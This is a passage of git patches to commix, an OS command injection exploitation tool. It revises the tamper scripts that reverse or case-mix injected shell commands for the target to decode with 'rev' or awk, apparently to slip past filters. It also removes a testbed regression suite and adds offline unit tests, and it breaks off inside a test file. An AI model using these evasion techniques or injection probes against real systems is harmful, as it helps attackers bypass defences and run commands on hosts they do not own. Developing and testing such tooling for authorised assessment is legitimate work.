(and so after exploitation phase starts) # has no command of its own to case-randomize at all. if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: - if settings.TAMPER_SCRIPTS["rev"]: - if settings.USE_BACKTICKS: - mixed_case = mixed_case[::-1] + "|rev" - else: - mixed_case = "$(echo \"" + mixed_case[::-1] + "\"|rev)" source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD if settings.USER_APPLIED_CMD in source: + # Only the name, since the fold would lower an argument's own letters along with it - and the + # command was asked for with the letters it was asked for. + name, separator, arguments = settings.USER_APPLIED_CMD.partition(settings.SINGLE_WHITESPACE) + mixed_case = _mixed_case(name) + # 'rev' runs before this one and this rebuilds what it wrote, so where both are in use the two + # rewrites are spelled out together rather than one wrapped around the other. + # The fold on its own is one statement and needs no operator at all. Reading the name back + # from its end as well needs one, so that form is chosen the way 'rev' chooses its own. + if not settings.TAMPER_SCRIPTS["rev"]: + program = _FOLD + else: + mixed_case = mixed_case[::-1] + payload_separator = checks.current_separator() + if not checks.awk_separator_usable(payload_separator): + warn_msg = "Nothing reads a name back from its end without an operator of its own, and " + warn_msg += "none of the ones that do is the separator under test. Skipping tamper script." + settings.print_once(warn_msg) + return payload + program = checks.awk_reverse_program(payload_separator, fold=True) + folded = "awk" + settings.SINGLE_WHITESPACE + program + settings.SINGLE_WHITESPACE + mixed_case if settings.USE_BACKTICKS: - random_case_cmd = "\\`echo " + mixed_case + "|tr '[A-Z]' '[a-z]'\\`" + random_case_cmd = "\\`" + folded + "\\`" else: - random_case_cmd = "$(echo " + mixed_case + "|tr '[A-Z]' '[a-z]')" + random_case_cmd = settings.CMD_SUB_PREFIX + folded + settings.CMD_SUB_SUFFIX # Applied to the payload as handed over, not to the untouched original: the scripts run in # order, and reaching back past the ones before would throw their work away. - payload = source.replace(settings.USER_APPLIED_CMD, random_case_cmd) + payload = source.replace(settings.USER_APPLIED_CMD, random_case_cmd + separator + arguments) if len(settings.WHITESPACES) != 0: payload = payload.replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload diff --git a/src/tamper/obfuscation/posix/rev.py b/src/tamper/obfuscation/posix/rev.py index ca23e0bf9d..149113f307 100644 --- a/src/tamper/obfuscation/posix/rev.py +++ b/src/tamper/obfuscation/posix/rev.py @@ -18,7 +18,11 @@ """ About: Reverses (characterwise) the user-supplied operating system commands in a given payload. -Notes: This tamper script works against target(s) with a POSIX shell. +Notes: This tamper script works against target(s) with a POSIX shell. The command is read back + from its end by 'rev' where the separator under test is a pipe, and by 'awk' - which takes + the words as arguments instead - where it is a ';' or a newline, those being what awk puts + between its own statements. On any other separator neither form can be written without + smuggling an operator the payload is not proving, and the script is left out of it. References: [1] https://github.com/commixproject/commix/issues/408 [2] https://medium.com/picus-security/how-to-bypass-wafs-for-os-command-injection-2c5dd4e6a52b """ @@ -33,7 +37,7 @@ def dependencies(): if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True -# Hand the command over reversed, for the target to turn back with 'rev'. +# Hand the command over reversed, for the target to read back from its end. def tamper(payload): # A target settled as Windows after this script was accepted: 'cmd.exe' has no command substitution to reverse the command back through. if settings.TARGET_OS == settings.OS.WINDOWS: @@ -45,10 +49,22 @@ def tamper(payload): if settings.EXPLOITATION_PHASE and settings.USER_APPLIED_CMD: source = payload if settings.USER_APPLIED_CMD in payload else settings.RAW_PAYLOAD if settings.USER_APPLIED_CMD in source: + # 'rev' reads its input through a pipe and awk reads its own program through a ';' or a + # newline, so the form handed over is the one whose operator is the separator under test. + separator = checks.current_separator() + if separator == settings.PIPE_SEPARATOR: + reversed_cmd = "echo" + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + "|rev" + elif checks.awk_separator_usable(separator): + reversed_cmd = "awk" + settings.SINGLE_WHITESPACE + checks.awk_reverse_program(separator) + settings.SINGLE_WHITESPACE + settings.USER_APPLIED_CMD[::-1] + else: + warn_msg = "Nothing reads a command back from its end without an operator of its own, and " + warn_msg += "none of the ones that do is the separator under test. Skipping tamper script." + settings.print_once(warn_msg) + return payload if settings.USE_BACKTICKS: - rev_cmd = "\\`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev\\`" + rev_cmd = "\\`" + reversed_cmd + "\\`" else: - rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" + rev_cmd = settings.CMD_SUB_PREFIX + reversed_cmd + settings.CMD_SUB_SUFFIX # Applied to the payload as handed over, not to the untouched original: the scripts run in # order, and reaching back past the ones before would throw their work away. payload = source.replace(settings.USER_APPLIED_CMD, rev_cmd) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2c27da7faf..3fdfc1e59c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "257" +REVISION = "258" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/regression.py b/tests/regression.py deleted file mode 100644 index a773b9686d..0000000000 --- a/tests/regression.py +++ /dev/null @@ -1,137 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -""" -Behavioural regression suite, run against a local instance of the -Commix Testbed (https://github.com/commixproject/commix-testbed). - - python tests/regression.py [base-url] - -Exits non-zero if any check fails. -""" - -import os -import re -import sys -import subprocess - -DEFAULT_URL = "http://127.0.0.1:8081" -TIMEOUT = 300 - -_RESULTS = [] - -""" -Runs commix with the given arguments and returns its combined output. -""" -def run(args, timeout=TIMEOUT): - cmd = [sys.executable, "commix.py", "--batch", "--flush-session"] + args - try: - process = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, cwd=ROOT) - except subprocess.TimeoutExpired: - return "[timeout]" - return re.sub(r"\x1b\[[0-9;]*m", "", process.stdout + process.stderr) - -""" -Counts the techniques reported in the given output. -""" -def techniques(output): - return len(re.findall(r"^ \* Technique:", output, re.M)) - -""" -Records the result of a single check. -""" -def check(name, condition, detail=""): - _RESULTS.append((name, bool(condition), detail)) - -""" -The checks themselves. -""" -def main(): - base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT_URL).rstrip("/") - url = base + "/scenarios" - - # Every module imports and the built-in self test still passes. - output = run(["--smoke-test"]) - check("smoke test (all modules import)", "Smoke test passed" in output) - - # A tamper script must not be applied to the eval-sink heuristic probes. - output = run(["--url=" + url + "/ctf/deadsec24_bing2.php?cmd=id", "--technique=r", "--tamper=printfoctal"]) - check("printfoctal does not hijack to code injection", "code injection technique" not in output) - - # Prose already present in the baseline response must not read as an eval sink. - output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ip=127.0.0.1", "--technique=r", "-v", "1"]) - check("no false 'evaluated language' from page prose", "identified evaluated language" not in output) - - # A self-proving technique must not be re-verified away. - output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ip=127.0.0.1"]) - check("dvwa genuine finding survives", techniques(output) >= 1 and "does not seem to be injectable" not in output, - "techniques=" + str(techniques(output))) - - # An inference-only finding must still be re-verified. - output = run(["--url=" + url + "/regular/POST/blind.php", "--data=addr=127.0.0.1", "--technique=b"]) - check("boolean-only finding still re-verified", "is a false positive" in output and techniques(output) == 1) - - # An explicit --tamper switches off both the retry prompt and self-adoption. - output = run(["--url=" + url + "/ctf/deadsec24_bing2.php?cmd=id", "--technique=r", "--tamper=space2ifs"]) - check("explicit --tamper: no prompt, no stacking", - "Do you want commix to try again" not in output and "too many tamper scripts" not in output) - - # Self-adopted scripts are not counted against the user. - output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ipx=127.0.0.1", "--technique=r"]) - check("self-adopted scripts: no 'too many tampers' warning", "too many tamper scripts" not in output) - check("prompt makes no unverified filter claim", "which the target may be filtering" not in output) - - # The writable directory is only ever asked for once per run. - output = run(["--url=" + url + "/ctf/dvwa_command_injection.php", "--data=ipx=127.0.0.1"]) - asked = output.count("What do you want to use for the writable directory") - check("writable-dir menu asked once", asked == 1, "asked " + str(asked) + "x") - - # A script adopted for one parameter must not survive into the next. - output = run(["--url=" + url + "/regular/GET/multiple_params.php?addr=127.0.0.1&count=4&label=x", "--technique=r"]) - payload = re.search(r"^ \* Payload: (.*)$", output, re.M) - check("no cross-parameter tamper leak", - payload and "${IFS}" not in payload.group(1) and "\t" not in payload.group(1), - payload.group(1)[:40] if payload else "no payload") - - # A shell sink reached through --eval is reported with a caveat. - output = run(["--url=" + url + "/regular/GET/classic.php?addr=127.0.0.1", "--eval=php", "--technique=f"]) - check("--eval on a shell sink: caveat shown", "Re-run without '--eval'" in output) - - # A real eval sink is reported without one. - output = run(["--url=" + url + "/regular/GET/eval.php?user=commix", "--eval=php"]) - check("--eval on a real eval sink: no caveat", - "Re-run without '--eval'" not in output and techniques(output) >= 1, - "techniques=" + str(techniques(output))) - - # The same holds for the non-PHP eval sinks. - false_caveats = [] - for language, target in (("python", "/python/eval.py"), ("perl", "/perl/eval.pl"), ("lua", "/lua/eval.lua")): - output = run(["--url=" + url + target + "?user=commix", "--eval=" + language]) - if "Re-run without '--eval'" in output: - false_caveats.append(language) - check("--eval on non-PHP eval sinks: no caveat", not false_caveats, ",".join(false_caveats)) - - print("") - passed = 0 - for name, ok, detail in _RESULTS: - print((" [ OK ] " if ok else " [FAIL] ") + name + ((" (" + detail + ")") if detail else "")) - passed += int(ok) - print("\n" + str(passed) + "/" + str(len(_RESULTS)) + " checks passed") - return 0 if passed == len(_RESULTS) else 1 - -ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) - -if __name__ == "__main__": - sys.exit(main()) From 3442869686b7e82177349e53cc5608300871bbc3 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Wed, 28 Oct 2026 08:09:14 +0200 Subject: [PATCH 0930/1023] Added an offline unit-test suite, run with `python -m unittest discover -s tests -t .` --- doc/ARCHITECTURE.md | 20 ++++ doc/CHANGELOG.md | 1 + setup.py | 3 +- src/core/testing.py | 3 + src/utils/settings.py | 2 +- tests/__init__.py | 14 +++ tests/_testutils.py | 74 ++++++++++++++ tests/test_checks.py | 103 ++++++++++++++++++++ tests/test_datafiles.py | 113 ++++++++++++++++++++++ tests/test_grammars.py | 78 +++++++++++++++ tests/test_payloads.py | 182 +++++++++++++++++++++++++++++++++++ tests/test_settings.py | 104 ++++++++++++++++++++ tests/test_settings_regex.py | 92 ++++++++++++++++++ tests/test_tamper.py | 153 +++++++++++++++++++++++++++++ 14 files changed, 940 insertions(+), 2 deletions(-) create mode 100644 tests/__init__.py create mode 100644 tests/_testutils.py create mode 100644 tests/test_checks.py create mode 100644 tests/test_datafiles.py create mode 100644 tests/test_grammars.py create mode 100644 tests/test_payloads.py create mode 100644 tests/test_settings.py create mode 100644 tests/test_settings_regex.py create mode 100644 tests/test_tamper.py diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md index 299c041eb8..688290511f 100644 --- a/doc/ARCHITECTURE.md +++ b/doc/ARCHITECTURE.md @@ -226,6 +226,7 @@ can tell whether it still knows how to talk to a newer one. | `src/utils/` | settings, session, logs, crawler, progress, install, update, the REST API | | `src/thirdparty/` | bundled libraries, so that a run needs nothing installed | | `data/txt/` | word lists read at runtime | +| `tests/` | the offline suite, which no run of commix itself reaches | Two objects carry the run, and neither is passed around - both are imported where they are read. `src/utils/settings.py` holds the constants and the mutable run state, and is where a new constant @@ -251,3 +252,22 @@ And when something is already wrong: the wire is `requests/headers.py`, whether tested at all is `controller.py: perform_checks()`, whether a finding was believed is `checks.py`, what a run remembers is `session_handler.py`, and state bleeding from one target into the next is `settings.RUN_WIDE_STATE`. + +## Checking a change + +Two layers, neither of which needs a target. + +`tests/` is an offline suite written against the standard library's `unittest` alone - nothing to +install, no network, and no payload leaving the machine. It pins what reading the code does not +catch: that no payload and no tamper script carries an operator other than the separator under +test, that a script declared for one shell answers for the other, that a rewrite leaves a command's +arguments as they were given, that every grammar declares what the techniques ask it for, and that +the word lists hold no repeat. Run it from the root with +`python -m unittest discover -s tests -t .`. + +A sweep that finds nothing must not pass, so each one counts what it swept before it reads it - +a suite that quietly stopped looking is the one failure none of the assertions below it would show. + +`--smoke-test` is the other layer, and imports every module in the tree, which catches a name that +moved or a file that stopped parsing - neither of which the suite above would reach. Both run in +`.github/workflows/builds.yml`, alongside the API's own start-up. diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 36028b96e1..721b2b0154 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.2 (TBA) +* Added: An offline unit-test suite, run with `python -m unittest discover -s tests -t .`. * Added: New tamper script `luadebugescape.py`, reaching a Lua sink evaluated with a restricted environment through `debug.getregistry()._LOADED`. * Added: New `--eval=lua` support, for a sink evaluating Lua. * Added: New `--eval=perl` support, for a sink evaluating Perl. diff --git a/setup.py b/setup.py index 6211a224c4..3f170c77fd 100644 --- a/setup.py +++ b/setup.py @@ -32,7 +32,8 @@ python_requires='>=3.7', # The data files live beside the code rather than inside it, so they are named here to be # installed along with it. - packages=find_packages() + ["data", "data.txt"], + # The suite is run from a checkout, not from an install, so it is left out of the package. + packages=find_packages(exclude=["tests"]) + ["data", "data.txt"], include_package_data=True, package_data={"": ["*.txt"], "data.txt": ["*.txt", "*.tx_"]}, zip_safe=False, diff --git a/src/core/testing.py b/src/core/testing.py index d9e89b3a66..8c09fab746 100644 --- a/src/core/testing.py +++ b/src/core/testing.py @@ -26,6 +26,9 @@ def smoke_test(): passed = True file_paths = [] for root, directories, filenames in os.walk(settings.COMMIX_ROOT_PATH): + # The suite is run on its own, by the test runner - this walk is for what commix imports. + if "tests" in root.split(os.sep): + continue file_paths.extend([os.path.abspath(os.path.join(root, i)) for i in filenames]) for filename in file_paths: diff --git a/src/utils/settings.py b/src/utils/settings.py index 3fdfc1e59c..d7bd22cec0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -477,7 +477,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "258" +REVISION = "259" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/tests/__init__.py b/tests/__init__.py new file mode 100644 index 0000000000..b1a0972139 --- /dev/null +++ b/tests/__init__.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" diff --git a/tests/_testutils.py b/tests/_testutils.py new file mode 100644 index 0000000000..d5d5516b65 --- /dev/null +++ b/tests/_testutils.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import sys +import glob +import importlib + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) +sys.argv = ["commix.py"] + +from src.utils import settings + +# Every separator a payload can be built on, and the ones awk reads between its own statements. +SEPARATORS = (";", "&", "&&", settings.END_LINE.LF) + +""" +Put the globals a tamper script reads into a known state, as a run reaches the exploitation phase +with a command of the user's own and one separator already proved. +""" +def stage(separator, command="echo Hello", target_os=None, rev=False, whitespace=None): + settings.TARGET_OS = target_os or settings.OS.UNIX + settings.WHITESPACES = [whitespace or settings.SINGLE_WHITESPACE] + settings.EXPLOITATION_PHASE = True + settings.TIME_RELATED_ATTACK = True + settings.USE_BACKTICKS = False + settings.USER_APPLIED_CMD = command + settings.CHECKING_PARAMETER = "P" + settings.CONFIRMED_BOUNDARY = {"P": ("", "", separator, settings.WHITESPACES[0])} + settings.TAMPER_SCRIPTS["rev"] = rev + payload = "AAA" + separator + command + separator + settings.RAW_PAYLOAD = payload + return payload + +""" +Every tamper script, by the name it is asked for, paired with its imported module. +""" +def tamper_modules(): + modules = {} + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for script in sorted(glob.glob(os.path.join(root, "src", "tamper", "**", "*.py"), recursive=True)): + name = os.path.basename(script)[:-len(".py")] + if name == "__init__": + continue + relative = os.path.relpath(script, root)[:-len(".py")].replace(os.sep, ".") + try: + modules[name] = importlib.import_module(relative) + except Exception: + continue + return modules + +""" +The separators a string carries, counted so that '&&' is not read as two '&'. +""" +def separators_in(text): + counts, rest = {}, text + for separator in ("&&", "||"): + counts[separator] = rest.count(separator) + rest = rest.replace(separator, "") + for separator in (";", "&", "|"): + counts[separator] = rest.count(separator) + return counts diff --git a/tests/test_checks.py b/tests/test_checks.py new file mode 100644 index 0000000000..aa548910d4 --- /dev/null +++ b/tests/test_checks.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import unittest + +from tests._testutils import stage +from src.utils import settings +from src.core.controller import checks +from src.core.parse import cmdline as menu + +class CurrentBoundary(unittest.TestCase): + """ + What a rewrite reads back about the boundary the parameter at hand was proved on. + """ + def test_whitespace_falls_back_to_a_plain_space(self): + settings.WHITESPACES = [] + self.assertEqual(settings.SINGLE_WHITESPACE, checks.current_whitespace()) + settings.WHITESPACES = ["\t"] + self.assertEqual("\t", checks.current_whitespace()) + + def test_separator_is_none_until_a_boundary_is_recorded(self): + settings.CONFIRMED_BOUNDARY = {} + settings.CHECKING_PARAMETER = "P" + self.assertIsNone(checks.current_separator()) + + def test_separator_comes_back_from_the_recorded_boundary(self): + for separator in (";", "&", "&&", "|", settings.END_LINE.LF): + stage(separator) + self.assertEqual(separator, checks.current_separator()) + + def test_a_parameter_does_not_read_another_ones_boundary(self): + stage(";") + settings.CHECKING_PARAMETER = "OTHER" + self.assertIsNone(checks.current_separator()) + +class AwkProgram(unittest.TestCase): + """ + The program handed to awk, whose own statements are separated by the one under test. + """ + def test_only_a_statement_separator_awk_reads_is_usable(self): + self.assertTrue(checks.awk_separator_usable(";")) + self.assertTrue(checks.awk_separator_usable(settings.END_LINE.LF)) + for separator in ("&", "&&", "|", "", None): + self.assertFalse(checks.awk_separator_usable(separator), repr(separator) + " was taken as usable") + + def test_the_program_carries_nothing_but_its_own_separator(self): + for separator in (";", settings.END_LINE.LF): + program = checks.awk_reverse_program(separator) + for smuggled in ("|", "&"): + self.assertNotIn(smuggled, program) + if separator != ";": + self.assertNotIn(";", program) + + def test_the_program_has_no_space_inside_its_quotes(self): + # A space there is the whitespace substitution's to replace, which awk would then read as text. + for separator in (";", settings.END_LINE.LF): + for fold in (False, True): + program = checks.awk_reverse_program(separator, fold=fold) + self.assertNotIn(settings.SINGLE_WHITESPACE, program.strip("'")) + + def test_the_fold_is_asked_for_explicitly(self): + self.assertIn("tolower", checks.awk_reverse_program(";", fold=True)) + self.assertNotIn("tolower", checks.awk_reverse_program(";")) + +class TamperDependencies(unittest.TestCase): + """ + Why a script cannot be applied to the target at hand, or nothing where it can. + """ + def test_a_shell_gate_answers_for_the_settled_operating_system(self): + settings.TARGET_OS = settings.OS.UNIX + self.assertIsNone(checks.tamper_dep_unix_only("x")) + self.assertIsNotNone(checks.tamper_dep_windows_only("x")) + settings.TARGET_OS = settings.OS.WINDOWS + self.assertIsNotNone(checks.tamper_dep_unix_only("x")) + self.assertIsNone(checks.tamper_dep_windows_only("x")) + + def test_a_sink_gate_reads_the_heuristic_as_well_as_the_switch(self): + eval_sink, eval_state = menu.options.eval_sink, settings.EVAL_BASED_STATE + try: + menu.options.eval_sink, settings.EVAL_BASED_STATE = None, False + self.assertIsNotNone(checks.tamper_dep_command_incompatible("x")) + self.assertIsNone(checks.tamper_dep_eval_incompatible("x")) + # The heuristic probe carries eval syntax before '--eval' is ever set. + menu.options.eval_sink, settings.EVAL_BASED_STATE = None, True + self.assertIsNone(checks.tamper_dep_command_incompatible("x")) + self.assertIsNotNone(checks.tamper_dep_eval_incompatible("x")) + finally: + menu.options.eval_sink, settings.EVAL_BASED_STATE = eval_sink, eval_state + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_datafiles.py b/tests/test_datafiles.py new file mode 100644 index 0000000000..390cf38de5 --- /dev/null +++ b/tests/test_datafiles.py @@ -0,0 +1,113 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +""" +The word lists and the tamper contract. A file that moved, emptied or picked up a duplicate costs +nothing at import time and shows up only as a run quietly looking for less than it used to. +""" + +import os +import unittest + +from tests._testutils import tamper_modules +from src.utils import settings + +ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +TEXT_FILES = os.path.join(ROOT, "data", "txt") + +def text_files(): + return sorted(_ for _ in os.listdir(TEXT_FILES) if _.endswith(".txt")) + +class WordLists(unittest.TestCase): + def test_the_sweep_finds_the_files_at_all(self): + self.assertGreater(len(text_files()), 3) + + def test_every_list_is_readable_and_holds_something(self): + empty = [] + for name in text_files(): + with open(os.path.join(TEXT_FILES, name), "rb") as handle: + if not handle.read().strip(): + empty.append(name) + self.assertEqual([], empty) + + def test_no_list_repeats_an_entry(self): + # A duplicate is wasted requests, one per repeat, on every run that reads the list. + offenders = [] + for name in text_files(): + with open(os.path.join(TEXT_FILES, name), "rb") as handle: + entries = [_.strip() for _ in handle.read().decode(settings.DEFAULT_CODEC).splitlines() + if _.strip() and not _.strip().startswith("#")] + if len(entries) != len(set(entries)): + repeated = sorted(set(_ for _ in entries if entries.count(_) > 1)) + offenders.append(name + ": " + ", ".join(repeated[:5])) + self.assertEqual([], offenders) + + def test_the_lists_the_code_names_are_the_lists_on_disk(self): + missing = [] + for name in dir(settings): + value = getattr(settings, name) + if isinstance(value, str) and value.endswith(".txt") and os.sep in value: + if not os.path.isfile(value): + missing.append(name + " -> " + value) + self.assertEqual([], missing) + +class TamperContract(unittest.TestCase): + """ + What the loader calls on every script it is given, and what it would raise on if absent. + """ + def test_the_sweep_finds_the_scripts_at_all(self): + self.assertGreater(len(tamper_modules()), 40) + + def test_every_script_offers_a_callable_tamper(self): + offenders = [name for name, module in tamper_modules().items() + if not callable(getattr(module, "tamper", None))] + self.assertEqual([], offenders) + + def test_every_dependency_check_is_callable(self): + offenders = [] + for name, module in tamper_modules().items(): + dependency = getattr(module, "dependencies", None) + if dependency is not None and not callable(dependency): + offenders.append(name) + self.assertEqual([], offenders) + + def test_every_priority_is_one_of_the_declared_tiers(self): + tiers = set(getattr(settings.PRIORITY, _) for _ in dir(settings.PRIORITY) if _.isupper()) + offenders = [] + for name, module in tamper_modules().items(): + priority = getattr(module, "__priority__", None) + if priority is not None and priority not in tiers: + offenders.append(name + ": " + str(priority)) + self.assertEqual([], offenders) + + def test_a_dependency_check_hands_back_a_reason_or_nothing(self): + # The loader prints whatever comes back, so anything but a string reads as a broken message. + settings.TARGET_OS = settings.OS.UNIX + offenders = [] + for name, module in tamper_modules().items(): + dependency = getattr(module, "dependencies", None) + if not callable(dependency): + continue + try: + answer = dependency() + except Exception as error: + offenders.append(name + ": raised " + type(error).__name__) + continue + if answer is not None and not isinstance(answer, str): + offenders.append(name + ": " + type(answer).__name__) + self.assertEqual([], offenders) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_grammars.py b/tests/test_grammars.py new file mode 100644 index 0000000000..b8337c9f70 --- /dev/null +++ b/tests/test_grammars.py @@ -0,0 +1,78 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import os +import glob +import importlib +import unittest + +from src.utils import settings + +# What every evaluated language has to say about itself for the techniques to speak it. +REQUIRED = ("NAME", "LABEL", "TERMINATOR", "PROBE", "PROBE_REGEX", + "EXECUTION_FUNCTIONS_LVL1", "EXECUTION_FUNCTIONS_LVL2", "EXECUTION_FUNCTIONS_LVL3", + "PREFIXES_LVL1", "PREFIXES_LVL2", "PREFIXES_LVL3", + "SUFFIXES_LVL1", "SUFFIXES_LVL2", "SUFFIXES_LVL3", + "SEPARATORS_LVL1", "SEPARATORS_LVL2", "SEPARATORS_LVL3") + +def grammars(): + loaded = {} + root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + for path in sorted(glob.glob(os.path.join(root, "src", "core", "eval", "grammars", "*.py"))): + name = os.path.basename(path)[:-len(".py")] + if name == "__init__": + continue + loaded[name] = importlib.import_module("src.core.eval.grammars." + name) + return loaded + +class GrammarCompleteness(unittest.TestCase): + def test_every_grammar_declares_what_the_techniques_ask_it_for(self): + missing = [] + for name, grammar in grammars().items(): + for attribute in REQUIRED: + if not hasattr(grammar, attribute): + missing.append(name + ": " + attribute) + self.assertEqual([], missing) + + def test_a_grammar_is_named_after_its_own_file(self): + self.assertEqual([], [name for name, grammar in grammars().items() if grammar.NAME != name]) + + def test_each_level_holds_the_one_below_it(self): + offenders = [] + for name, grammar in grammars().items(): + for table in ("PREFIXES", "SUFFIXES", "SEPARATORS", "EXECUTION_FUNCTIONS"): + levels = [set(getattr(grammar, table + "_LVL" + str(_))) for _ in (1, 2, 3)] + if not (levels[0] <= levels[1] <= levels[2]): + offenders.append(name + ": " + table) + self.assertEqual([], offenders) + + def test_the_execution_functions_are_not_empty(self): + self.assertEqual([], [name for name, grammar in grammars().items() + if not grammar.EXECUTION_FUNCTIONS_LVL1]) + +class GrammarSeparators(unittest.TestCase): + """ + An evaluated language chains its own statements, so its separators are its own - not the shell's. + """ + def test_no_grammar_offers_a_shell_separator(self): + offenders = [] + for name, grammar in grammars().items(): + for separator in grammar.SEPARATORS_LVL3: + if separator in ("&", "&&", "|", "||"): + offenders.append(name + ": " + repr(separator)) + self.assertEqual([], offenders) + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_payloads.py b/tests/test_payloads.py new file mode 100644 index 0000000000..9631dea64e --- /dev/null +++ b/tests/test_payloads.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import inspect +import importlib +import unittest + +from tests._testutils import SEPARATORS, separators_in +from src.utils import settings + +TECHNIQUES = ("results_based.rb_payloads", "time_based.tb_payloads", "file_based.fb_payloads", + "tempfile_based.tfb_payloads", "boolean_based.bb_payloads") + +""" +Builders that cannot write their shape with the separator under test alone. Empty, and meant to +stay that way: a payload measures something and then delays on the answer, and that is written as +one command - the delay scaled by the comparison itself - rather than as two chained by an +operator of their own. Nothing goes in here without a reason that says why its shape cannot. +""" +UNRESOLVED = { + # This one does not only measure and delay: it rewrites the file afterwards, as + # decimals, for the character extraction that follows. That is a second command, + # which no arithmetic absorbs into the first - and '&' chains it without waiting, + # so the next request could read the file before the rewrite has landed. + ("tfb_payloads", "cmd_execution"), +} + +""" +A value for whatever the builder asks for, named the way the builders name it. +""" +def argument_for(name): + if name in ("TAG", "tag"): + return "MARKER" + if name in ("cmd", "command"): + return "echo Hello" + if name.startswith("randv"): + return "11" + if name in ("timesec", "delay"): + return 5 + if name == "http_request_method": + return "GET" + if name in ("OUTPUT_TEXTFILE", "filename"): + return "out.txt" + if name == "tags": + return ["MARKER"] + if name in ("condition", "expression"): + return "1 -eq 1" + if name == "operator": + return "-eq" + if name == "word": + return "MARKER" + if name == "qmarks": + return 1 + return 1 + +""" +Every payload builder that takes the separator as its first argument. +""" +def builders(): + found = [] + for technique in TECHNIQUES: + module = importlib.import_module("src.core.techniques." + technique) + for name, function in inspect.getmembers(module, inspect.isfunction): + if function.__module__ != module.__name__: + continue + parameters = list(inspect.signature(function).parameters) + if parameters and parameters[0] == "separator": + found.append((technique.split(".")[-1], name, function, parameters)) + return found + +class PayloadSeparators(unittest.TestCase): + """ + A payload exists to prove that one separator chains commands at the sink, so that is the only one + it may carry - a target filtering some other operator would otherwise defeat a separator that + works, and the separator is reported as not injectable. + """ + def setUp(self): + settings.TARGET_OS = settings.OS.UNIX + settings.WHITESPACES = [settings.SINGLE_WHITESPACE] + 